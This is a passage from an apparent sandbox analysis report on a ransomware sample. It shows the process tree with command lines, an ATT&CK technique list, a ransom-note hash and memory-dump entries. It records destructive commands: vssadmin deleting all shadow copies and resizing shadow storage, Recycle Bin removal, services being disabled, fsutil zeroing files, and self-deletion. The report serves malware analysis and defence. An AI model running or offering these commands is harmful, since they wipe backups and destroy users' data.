  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2388
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1788
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:768
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2888
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1800
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2928
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1408
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:916
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:976
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1840
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1400
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1848
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1540
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2040
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1016
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:956
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:2256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp6CC7.bat
  2⤵
  PID:3364
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:2628
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2784
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:3208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:1636
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2852

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
aa25c011d89fd4bf2e86b8d8d16a63d7

SHA1
87efc15d7b1fbb6a062f5c0b407b6ff4d8e25ce0

SHA256
9f1e9b205039d9090684335b00b8e18a39c1ab8c8faec14c94a41358d60a28db

SHA512
e93ec95d6e11f370bf2a5f02131f513c99f65fbcea6f0f5c01149455c13fbca08440ee510749b24c45e24abbb4e10ab151b28c96128b2977895cbbe869b302b3

Download Submit
memory/1384-0-0x00000000009B0000-0x00000000009CC000-memory.dmp

Filesize
112KB

Download
memory/1384-1-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/1384-2-0x0000000004870000-0x00000000048B0000-memory.dmp

Filesize
256KB

Download
memory/1384-42-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/1384-44-0x0000000004870000-0x00000000048B0000-memory.dmp

Filesize
256KB

Download
memory/1384-117-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/2588-6-0x0000000070A70000-0x000000007101B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-7-0x0000000002360000-0x00000000023A0000-memory.dmp

Filesize
256KB

Download
memory/2588-8-0x0000000002360000-0x00000000023A0000-memory.dmp

Filesize
256KB

Download
memory/2588-11-0x0000000070A70000-0x000000007101B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-5-0x0000000070A70000-0x000000007101B000-memory.dmp

Filesize
5.7MB

Download